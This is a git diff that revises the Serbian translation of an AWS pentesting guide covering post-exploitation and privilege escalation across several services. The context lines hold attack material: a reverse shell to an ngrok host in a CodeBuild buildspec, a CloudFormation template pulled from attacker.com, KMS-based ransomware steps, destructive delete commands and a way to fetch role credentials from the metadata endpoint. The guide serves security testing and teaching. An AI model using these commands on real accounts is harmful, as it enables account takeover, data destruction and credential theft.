ili prebacite sve na EC2 klaster i povratite ga pristupajući tokenima u čvoru. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md index 7a34a0f37..8117000c7 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md @@ -19,7 +19,7 @@ Napadač sa dozvolom `elasticbeanstalk:DeleteApplicationVersion` može **izbrisa ```bash aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version ``` -**Potencijalni Uticaj**: Poremećaj u implementaciji aplikacija i potencijalni gubitak verzija aplikacija. +**Potencijalni uticaj**: Poremećaj u implementaciji aplikacija i potencijalni gubitak verzija aplikacija. ### `elasticbeanstalk:TerminateEnvironment` @@ -30,29 +30,29 @@ Napadač sa dozvolom `elasticbeanstalk:TerminateEnvironment` može **ukinuti pos ```bash aws elasticbeanstalk terminate-environment --environment-name my-existing-env ``` -**Potencijalni uticaj**: Vreme neaktivnosti aplikacije, potencijalni gubitak podataka i prekid usluga. +**Potencijalni Uticaj**: Vreme neaktivnosti aplikacije, potencijalni gubitak podataka i prekid usluga. ### `elasticbeanstalk:DeleteApplication` -> [!NOTE] +> [!NAPOMENA] > TODO: Testirati da li su potrebne dodatne dozvole za ovo Napadač sa dozvolom `elasticbeanstalk:DeleteApplication` može **izbrisati celu Elastic Beanstalk aplikaciju**, uključujući sve njene verzije i okruženja. Ova akcija može izazvati značajan gubitak resursa i konfiguracija aplikacije ako nisu sačuvani. ```bash aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force ``` -**Potencijalni uticaj**: Gubitak resursa aplikacije, konfiguracija, okruženja i verzija aplikacije, što može dovesti do prekida usluge i potencijalnog gubitka podataka. +**Potencijalni Uticaj**: Gubitak resursa aplikacije, konfiguracija, okruženja i verzija aplikacije, što može dovesti do prekida usluge i potencijalnog gubitka podataka. ### `elasticbeanstalk:SwapEnvironmentCNAMEs` -> [!NOTE] +> [!NAPOMENA] > TODO: Testirati da li su potrebne dodatne dozvole za ovo Napadač sa `elasticbeanstalk:SwapEnvironmentCNAMEs` dozvolom može **promeniti CNAME zapise dva Elastic Beanstalk okruženja**, što može uzrokovati da pogrešna verzija aplikacije bude dostupna korisnicima ili dovesti do nepredviđenog ponašanja. ```bash aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 ``` -**Potencijalni uticaj**: Posluživanje pogrešne verzije aplikacije korisnicima ili izazivanje nepredviđenog ponašanja u aplikaciji zbog zamenjenih okruženja. +**Potencijalni Uticaj**: Posluživanje pogrešne verzije aplikacije korisnicima ili izazivanje nepredviđenog ponašanja u aplikaciji zbog zamenjenih okruženja. ### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index b029d61f4..153eff3a8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -39,7 +39,7 @@ Primer: } ``` > [!WARNING] -> Da bi napadač iskoristio zbunjenog zamenika, moraće nekako da sazna da li subjekti trenutnog naloga mogu da imituju uloge u drugim nalozima. +> Da bi napadač iskoristio zbunjenog zamenika, moraće nekako da sazna da li subjekti trenutnog naloga mogu da se predstavljaju kao uloge u drugim nalozima. ### Neočekivana poverenja @@ -51,7 +51,7 @@ Primer: "Principal": { "AWS": "*" } } ``` -Ova politika **omogućava svim AWS** da preuzmu ulogu. +Ova politika **dozvoljava svim AWS** da preuzmu ulogu. #### Usluga kao glavni ```json @@ -73,7 +73,7 @@ Ova politika **dozvoljava bilo kojem nalogu** da konfiguriše svoj apigateway da } } ``` -Ako je S3 kofa data kao principal, pošto S3 kofe nemaju ID naloga, ako ste **obrisali svoju kofu i napadač je kreirao** je u svom nalogu, onda bi mogli da to zloupotrebe. +Ako je S3 bucket dat kao principal, pošto S3 bucket-i nemaju Account ID, ako ste **obrisali svoj bucket i napadač ga je kreirao** u svom nalogu, mogli bi to zloupotrebiti. #### Nije podržano ```json diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index 5b1811da9..0bd11b880 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -38,7 +38,7 @@ aws kms decrypt \ --query Plaintext | base64 \ --decode ``` -- Koristeći **asimetrični** ključ: +- Korišćenje **asimetričnog** ključa: ```bash # Encrypt data aws kms encrypt \ @@ -62,7 +62,7 @@ aws kms decrypt \ Napadač sa privilegovanim pristupom KMS-u može da izmeni KMS politiku ključeva i **dodeli svom nalogu pristup tim ključevima**, uklanjajući pristup koji je dodeljen legitimnom nalogu. -Tada korisnici legitimnog naloga neće moći da pristupe bilo kojim informacijama bilo koje usluge koja je enkriptovana tim ključevima, stvarajući lak ali efikasan ransomware nad nalogom. +Tada korisnici legitimnog naloga neće moći da pristupe bilo kojim informacijama bilo koje usluge koja je enkriptovana tim ključevima, stvarajući jednostavan, ali efikasan ransomware nad nalogom. > [!WARNING] > Imajte na umu da **AWS upravljani ključevi nisu pogođeni** ovim napadom, samo **Klijentski upravljani ključevi**. @@ -92,7 +92,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ } ``` > [!CAUTION] -> Imajte na umu da ako promenite tu politiku i date pristup samo eksternom nalogu, a zatim iz ovog eksternog naloga pokušate da postavite novu politiku da **ponovo date pristup originalnom nalogu, nećete moći**. +> Imajte na umu da ako promenite tu politiku i omogućite pristup samo eksternom nalogu, a zatim iz ovog eksternog naloga pokušate da postavite novu politiku da **ponovo omogućite pristup originalnom nalogu, nećete moći**.
@@ -105,7 +105,7 @@ Postoji još jedan način da se izvrši globalni KMS Ransomware, koji bi uključ - Kreirajte novi **ključ sa ključnim materijalom** koji je uvezen od strane napadača - **Ponovo enkriptujte starije podatke** enkriptovane prethodnom verzijom sa novom. - **Obrišite KMS ključ** -- Sada samo napadač, koji ima originalni ključni materijal, može da dekriptuje enkriptovane podatke +- Sada samo napadač, koji ima originalni ključni materijal, može dekriptovati enkriptovane podatke ### Uništavanje ključeva ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index 404d2ddbb..a0125b517 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -6,15 +6,15 @@

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png

-1. **Slicer** je proces van kontejnera koji **šalje** **invokacije** procesu **init**. -2. Proces init sluša na portu **9001** izlažući neke zanimljive krajnje tačke: -- **`/2018-06-01/runtime/invocation/next`** – dobijanje sledećeg događaja invokacije -- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – vraća odgovor handler-a za invokaciju -- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – vraća grešku u izvršenju +1. **Slicer** je proces van kontejnera koji **šalje** **invokacije** ka **init** procesu. +2. Init proces sluša na portu **9001** izlažući neke zanimljive krajnje tačke: +- **`/2018-06-01/runtime/invocation/next`** – dobiti sledeći događaj invokacije +- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – vratiti odgovor handler-a za invokaciju +- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – vratiti grešku u izvršenju 3. **bootstrap.py** ima petlju koja dobija invokacije iz init procesa i poziva korisnički kod da ih obradi (**`/next`**). 4. Na kraju, **bootstrap.py** šalje init-u **odgovor** -Napomena da bootstrap učitava korisnički kod kao modul, tako da se svaka izvršena kodna operacija od strane korisničkog koda zapravo dešava u ovom procesu. +Napomena da bootstrap učitava korisnički kod kao modul, tako da se svako izvršavanje koda koje obavlja korisnički kod zapravo dešava u ovom procesu. ## Ukradanje Lambda Zahteva @@ -35,7 +35,7 @@ Ovo je jednostavan zadatak za postizanje jer se kod korisnika izvršava od stran 2. Generisati **zlonamerni** **bootstrap** (npr. [https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)) 3. **Izvršiti** zlonamerni bootstrap. -Možete lako izvršiti ove akcije pokretanjem: +Možete lako izvršiti ove radnje pokretanjem: ```bash python3 < [!WARNING] -> AWS ima **stotine** (ako ne i hiljade) **dozvola** koje entitet može dobiti. U ovoj knjizi možete pronaći **sve dozvole koje znam** koje možete zloupotrebiti da **eskalirate privilegije**, ali ako **znate neki put** koji ovde nije pomenut, **molim vas podelite**. +> AWS ima **stotine** (ako ne i hiljade) **dozvola** koje entitet može dobiti. U ovoj knjizi možete pronaći **sve dozvole koje znam** koje možete zloupotrebiti da **eskalirate privilegije**, ali ako **znate neki put** koji ovde nije pomenut, **molim vas podelite ga**. > [!CAUTION] > Ako IAM politika ima `"Effect": "Allow"` i `"NotAction": "Someaction"` koja ukazuje na **resurs**... to znači da **dozvoljeni subjekt** ima **dozvolu da radi BILO ŠTA osim te specificirane akcije**.\ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md index b25bb28a6..90c661da6 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md @@ -12,11 +12,11 @@ Za više informacija pogledajte: ### `apigateway:POST` -Sa ovom dozvolom možete generisati API ključeve za API-jeve koji su konfigurisani (po regionu). +Sa ovom dozvolom možete generisati API ključeve za konfigurirane API-je (po regionu). ```bash aws --region apigateway create-api-key ``` -**Potencijalni uticaj:** Ne možete privesc ovom tehnikom, ali možete dobiti pristup osetljivim informacijama. +**Potencijalni uticaj:** Ne možete izvršiti eskalaciju privilegija ovom tehnikom, ali možete dobiti pristup osetljivim informacijama. ### `apigateway:GET` @@ -25,11 +25,11 @@ Sa ovom dozvolom možete dobiti generisane API ključeve API-ja koji su konfigur aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value ``` -**Potencijalni Uticaj:** Ne možete privesc ovom tehnikom, ali možete dobiti pristup osetljivim informacijama. +**Potencijalni uticaj:** Ne možete izvršiti privilegiju sa ovom tehnikom, ali možete dobiti pristup osetljivim informacijama. ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` -Sa ovim dozvolama moguće je modifikovati politiku resursa API-ja kako biste sebi omogućili pristup pozivanju i zloupotrebi potencijalnog pristupa koji API gateway može imati (kao što je pozivanje ranjivog lambda). +Sa ovim dozvolama moguće je izmeniti politiku resursa API-ja kako biste sebi omogućili pristup da ga pozovete i zloupotrebite potencijalni pristup koji API gateway može imati (kao što je pozivanje ranjivog lambda). ```bash aws apigateway update-rest-api \ --rest-api-id api-id \ @@ -75,14 +75,14 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Potencijalni Uticaj**: Obilaženje bezbednosnih provera, neovlašćen pristup API resursima. +**Potencijalni uticaj**: Obilaženje bezbednosnih provera, neovlašćen pristup API resursima. ### `apigateway:UpdateVpcLink` > [!NAPOMENA] > Potrebno testiranje -Napadač sa dozvolom `apigateway:UpdateVpcLink` može **modifikovati postojeći VPC Link da usmeri na drugi Network Load Balancer, potencijalno preusmeravajući privatni API saobraćaj na neovlašćene ili zlonamerne resurse**. +Napadač sa dozvolom `apigateway:UpdateVpcLink` može **modifikovati postojeći VPC Link da upućuje na drugi Network Load Balancer, potencijalno preusmeravajući privatni API saobraćaj na neovlašćene ili zlonamerne resurse**. ```bash bashCopy codeVPC_LINK_ID="your-vpc-link-id" NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index 0a40eb8aa..2d6a19d8f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -4,7 +4,7 @@ ## cloudformation -Za više informacija o cloudformation pogledajte: +Za više informacija o cloudformation, proverite: {{#ref}} ../../aws-services/aws-cloudformation-and-codestar-enum.md @@ -12,7 +12,7 @@ Za više informacija o cloudformation pogledajte: ### `iam:PassRole`, `cloudformation:CreateStack` -Napadač sa ovim dozvolama **može eskalirati privilegije** kreiranjem **CloudFormation steka** sa prilagođenim šablonom, hostovanim na njihovom serveru, da **izvrši akcije pod dozvolama određenog uloga:** +Napadač sa ovim dozvolama **može eskalirati privilegije** kreiranjem **CloudFormation steka** sa prilagođenim šablonom, hostovanim na njihovom serveru, da **izvrši akcije pod dozvolama određenog rola:** ```bash aws cloudformation create-stack --stack-name \ --template-url http://attacker.com/attackers.template \ @@ -37,23 +37,23 @@ aws cloudformation update-stack \ --capabilities CAPABILITY_IAM \ --region eu-west-1 ``` -The `cloudformation:SetStackPolicy` dozvola se može koristiti da **dajte sebi `UpdateStack` dozvolu** nad stekom i izvršite napad. +Dozvola `cloudformation:SetStackPolicy` može se koristiti da **dajte sebi `UpdateStack` dozvolu** za stog i izvršite napad. **Potencijalni uticaj:** Privesc na cloudformation servisnu ulogu koja je navedena. ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -Ako imate ovu dozvolu, ali **nemate `iam:PassRole`**, i dalje možete **ažurirati stekove** koji se koriste i zloupotrebiti **IAM uloge koje su već povezane**. Proverite prethodni odeljak za primer eksploatacije (samo nemojte navoditi nijednu ulogu u ažuriranju). +Ako imate ovu dozvolu, ali **nemate `iam:PassRole`**, i dalje možete **ažurirati stogove** koji se koriste i zloupotrebiti **IAM uloge koje su već povezane**. Proverite prethodni odeljak za primer eksploatacije (samo nemojte navoditi nijednu ulogu u ažuriranju). -The `cloudformation:SetStackPolicy` dozvola se može koristiti da **dajte sebi `UpdateStack` dozvolu** nad stekom i izvršite napad. +Dozvola `cloudformation:SetStackPolicy` može se koristiti da **dajte sebi `UpdateStack` dozvolu** za stog i izvršite napad. **Potencijalni uticaj:** Privesc na cloudformation servisnu ulogu koja je već povezana. ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -Napadač sa dozvolama da **prođe ulogu i kreira & izvrši ChangeSet** može **kreirati/ažurirati novi cloudformation stek i zloupotrebiti cloudformation servisne uloge** baš kao sa CreateStack ili UpdateStack. +Napadač sa dozvolama da **prođe ulogu i kreira & izvrši ChangeSet** može **kreirati/ažurirati novi cloudformation stog i zloupotrebiti cloudformation servisne uloge** baš kao sa CreateStack ili UpdateStack. -Sledeća eksploatacija je **varijacija**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) koristeći **ChangeSet dozvole** za kreiranje steka. +Sledeća eksploatacija je **varijacija**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) koristeći **ChangeSet dozvole** za kreiranje stoga. ```bash aws cloudformation create-change-set \ --stack-name privesc \ @@ -79,7 +79,7 @@ aws cloudformation describe-stacks \ --stack-name privesc \ --region eu-west-1 ``` -Dozvola `cloudformation:SetStackPolicy` može se koristiti za **dodeljivanje sebi `ChangeSet` dozvola** nad stekom i izvršavanje napada. +Dozvola `cloudformation:SetStackPolicy` može se koristiti za **dodeljivanje sebi `ChangeSet` dozvola** nad stakom i izvršavanje napada. **Potencijalni uticaj:** Privesc na cloudformation servisne uloge. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md index a5e6063bc..2afe32dc2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -62,13 +62,13 @@ aws cloudformation create-stack --stack-name privesc \ --role arn:aws:iam::[REDACTED]:role/adminaccess \ --capabilities CAPABILITY_IAM --region us-west-2 ``` -**Sačekajte nekoliko minuta** da se stek generiše, a zatim **dobijte izlaz** iz steka gde su **akreditivi sačuvani**: +**Sačekajte nekoliko minuta** da se stek generiše, a zatim **dobijte izlaz** steka gde su **akreditivi sačuvani**: ```bash aws cloudformation describe-stacks \ --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ --region uswest-2 ``` -### References +### Reference - [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index 49fdd90c8..e14f6f99c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -67,7 +67,7 @@ aws codebuild start-build-batch --project --buildspec-override fi ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Napadač sa **`iam:PassRole`, `codebuild:CreateProject`, i `codebuild:StartBuild` ili `codebuild:StartBuildBatch`** dozvolama bi mogao da **escalira privilegije na bilo koju codebuild IAM ulogu** kreiranjem aktivne. +Napadač sa **`iam:PassRole`, `codebuild:CreateProject`, i `codebuild:StartBuild` ili `codebuild:StartBuildBatch`** dozvolama mogao bi da **escalira privilegije na bilo koju codebuild IAM ulogu** kreiranjem aktivne. {{#tabs }} {{#tab name="Example1" }} @@ -142,11 +142,11 @@ aws codebuild start-build --project-name reverse-shell-project > [!WARNING] > U **Codebuild kontejneru** datoteka `/codebuild/output/tmp/env.sh` sadrži sve env varijable potrebne za pristup **metapodacima akreditiva**. -> Ova datoteka sadrži **env varijablu `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** koja sadrži **URL putanju** za pristup akreditivima. Biće nešto poput `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` +> Ova datoteka sadrži **env varijablu `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** koja sadrži **URL putanju** za pristup akreditivima. Biće nešto poput ovog `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` > Dodajte to URL-u **`http://169.254.170.2/`** i moći ćete da preuzmete akreditive uloge. -> Pored toga, takođe sadrži **env varijablu `ECS_CONTAINER_METADATA_URI`** koja sadrži kompletnu URL adresu za dobijanje **informacija o metapodacima kontejnera**. +> Pored toga, takođe sadrži **env varijablu `ECS_CONTAINER_METADATA_URI`** koja sadrži kompletnu URL putanju za dobijanje **metapodataka o kontejneru**. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) @@ -184,7 +184,7 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` -**Potencijalni uticaj:** Direktno privesc na bilo koju AWS Codebuild ulogu. +**Potencijalni Uticaj:** Direktno privesc na bilo koju AWS Codebuild ulogu. ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) @@ -275,7 +275,7 @@ Codebuild projekat će morati da ima tačku prekida:
phases:
 pre_build:
 commands:
-- echo Ušao u pre_build fazu...
+- echo Entered the pre_build phase...
 - echo "Hello World" > /tmp/hello-world
       - codebuild-breakpoint
 
@@ -317,13 +317,13 @@ build: commands: - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` -**Uticaj:** Direktno privesc na ulogu koju koristi AWS CodeBuild radnik koja obično ima visoke privilegije. +**Uticaj:** Direktno povećanje privilegija na ulozi koju koristi AWS CodeBuild radnik, koja obično ima visoke privilegije. > [!WARNING] > Imajte na umu da se buildspec može očekivati u zip formatu, tako da bi napadač morao da preuzme, raspakuje, izmeni `buildspec.yml` iz root direktorijuma, ponovo zipuje i otpremi -Više detalja možete pronaći [ovde](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). +Više detalja može se naći [ovde](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). -**Potencijalni Uticaj:** Direktno privesc na priložene AWS Codebuild uloge. +**Potencijalni Uticaj:** Direktno povećanje privilegija na povezanim AWS Codebuild ulogama. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md index b00dc6605..2ef51eaef 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md @@ -12,13 +12,13 @@ Za više informacija o codepipeline pogledajte: ### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` -Kada kreirate code pipeline, možete naznačiti **codepipeline IAM ulogu koju treba pokrenuti**, stoga ih možete kompromitovati. +Kada kreirate code pipeline, možete naznačiti **codepipeline IAM ulogu za izvršavanje**, stoga ih možete kompromitovati. -Pored prethodnih dozvola, biće vam potrebna **pristupna prava na mesto gde je kod smešten** (S3, ECR, github, bitbucket...) +Pored prethodnih dozvola, potrebna vam je **pristup mestu gde je kod smešten** (S3, ECR, github, bitbucket...) Testirao sam ovo radeći proces na veb stranici, prethodno navedene dozvole nisu List/Get one potrebne za kreiranje codepipeline, ali za kreiranje na vebu će vam takođe biti potrebne: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` -Tokom **kreiranja build projekta** možete naznačiti **komandu za izvršavanje** (rev shell?) i pokrenuti fazu izgradnje kao **privilegovan korisnik**, to je konfiguracija koju napadač treba da kompromituje: +Tokom **kreiranja build projekta** možete naznačiti **komandu za izvršavanje** (rev shell?) i da se faza izgradnje izvršava kao **privilegovani korisnik**, to je konfiguracija koju napadač treba da kompromituje: ![](<../../../images/image (276).png>) @@ -26,7 +26,7 @@ Tokom **kreiranja build projekta** možete naznačiti **komandu za izvršavanje* ### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution` -Možda će biti moguće izmeniti ulogu koja se koristi i komandu koja se izvršava na codepipeline sa prethodnim dozvolama. +Možda bi bilo moguće izmeniti ulogu koja se koristi i komandu koja se izvršava na codepipeline sa prethodnim dozvolama. ### `codepipeline:pollforjobs` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md index a819b56dc..bdfb9e1a5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md @@ -52,19 +52,19 @@ codestar-createproject-codestar-associateteammember.md 1. **Kreirajte novi projekat:** - Iskoristite akciju **`codestar:CreateProjectFromTemplate`** da započnete kreiranje novog projekta. - Nakon uspešnog kreiranja, pristup se automatski dodeljuje za **`cloudformation:UpdateStack`**. -- Ovaj pristup se posebno odnosi na stog povezan sa `CodeStarWorker--CloudFormation` IAM ulogom. -2. **Ažurirajte ciljni stog:** -- Sa dodeljenim CloudFormation dozvolama, nastavite da ažurirate određeni stog. -- Ime stoga će obično odgovarati jednom od dva obrasca: +- Ovaj pristup se specifično odnosi na stek povezan sa `CodeStarWorker--CloudFormation` IAM ulogom. +2. **Ažurirajte ciljni stek:** +- Sa dodeljenim CloudFormation dozvolama, nastavite da ažurirate navedeni stek. +- Ime steka će obično odgovarati jednom od dva obrasca: - `awscodestar--infrastructure` - `awscodestar--lambda` -- Tačno ime zavisi od odabranog šablona (referišući se na primer skripte za eksploataciju). +- Tačno ime zavisi od odabranog šablona (referišući se na primer eksploatacionog skripta). 3. **Pristup i dozvole:** -- Nakon ažuriranja, dobijate mogućnosti dodeljene **CloudFormation IAM ulozi** povezanoj sa stogom. +- Nakon ažuriranja, dobijate mogućnosti dodeljene **CloudFormation IAM ulozi** povezanoj sa stekom. - Napomena: Ovo ne pruža inherentno pune administratorske privilegije. Dodatni pogrešno konfigurisani resursi unutar okruženja mogu biti potrebni za dalju eskalaciju privilegija. Za više informacija proverite originalno istraživanje: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\ -Eksploataciju možete pronaći na [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) +Eksploit možete pronaći na [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) **Potencijalni uticaj:** Privesc na cloudformation IAM ulogu. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md index 5b9a423b0..b21c94ece 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md @@ -4,7 +4,7 @@ Sa ovim dozvolama možete **zloupotrebiti codestar IAM ulogu** da izvršite **arbitrarne radnje** putem **cloudformation šablona**. -Da biste to iskoristili, potrebno je da kreirate **S3 bucket koji je dostupan** iz napadnutog naloga. Učitajte datoteku pod nazivom `toolchain.json`. Ova datoteka treba da sadrži **cloudformation šablon za eksploataciju**. Sledeći može biti korišćen za postavljanje upravljane politike korisniku pod vašom kontrolom i **dodeljivanje admin dozvola**: +Da biste to iskoristili, potrebno je da kreirate **S3 bucket koji je dostupan** iz napadnutog naloga. Učitajte datoteku pod nazivom `toolchain.json`. Ova datoteka treba da sadrži **cloudformation šablon za eksploataciju**. Sledeći može da se koristi za postavljanje upravljane politike korisniku pod vašom kontrolom i **dodeljivanje admin dozvola**: ```json:toolchain.json { "Resources": { diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md index 1ccbe3597..0bac7194c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md @@ -12,11 +12,11 @@ Za više informacija o Cognitu pogledajte: ### Prikupljanje kredencijala iz Identity Pool-a -Pošto Cognito može dodeliti **IAM role credentials** i **autentifikovanim** i **neautentifikovanim** **korisnicima**, ako locirate **Identity Pool ID** aplikacije (trebalo bi da bude hardkodiran u njoj) možete dobiti nove kredencijale i tako izvršiti privesc (unutar AWS naloga gde verovatno niste imali nikakve kredencijale ranije). +Pošto Cognito može dodeliti **IAM role credentials** i **autentifikovanim** i **neautentifikovanim** **korisnicima**, ako locirate **Identity Pool ID** aplikacije (trebalo bi da bude hardkodiran u njoj) možete dobiti nove kredencijale i tako izvršiti privesc (unutar AWS naloga gde verovatno niste imali nikakve kredencijale prethodno). Za više informacija [**proverite ovu stranicu**](../aws-unauthenticated-enum-access/#cognito). -**Potencijalni uticaj:** Direktan privesc na usluge ulogu vezanu za neautentifikovane korisnike (i verovatno na onu vezanu za autentifikovane korisnike). +**Potencijalni uticaj:** Direktan privesc na servisnu ulogu vezanu za neautentifikovane korisnike (i verovatno na onu vezanu za autentifikovane korisnike). ### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole` @@ -69,22 +69,22 @@ aws cognito-identity update-identity-pool \ 